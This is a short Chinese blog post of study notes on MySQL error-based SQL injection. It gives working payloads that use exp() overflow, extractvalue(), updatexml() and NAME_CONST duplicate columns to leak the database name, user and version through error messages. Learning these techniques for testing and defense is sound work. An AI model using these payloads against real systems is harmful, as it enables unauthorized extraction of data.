mysql内一些可以报错注入的查询语句

 
 

一、exp() 取反参数

该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0

 这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)

因此可以使用 (exp(~(查询语句为)))

select exp(~(select*from(select database())x));

 

 高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:

 

二、extractvalue()  两位参数

Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径
具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5

 

根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。

 

此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:

concat() :

select concat('大','小');

concat_ws():

select concat_ws(',','11','22','33'); #第一个参数应该为连接符

 

select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换

 

三、updatexml()  三位参数

UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据

 

 

使用该语句即可爆出当前数据库名:

select updatexml('1',concat('~',(select database())),'1');

四、mysql重复属性

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

当有新的报错函数时将会继续更新!!!

posted @ 2021-02-28 23:43  铺哩  阅读(214)  评论(0编辑  收藏  举报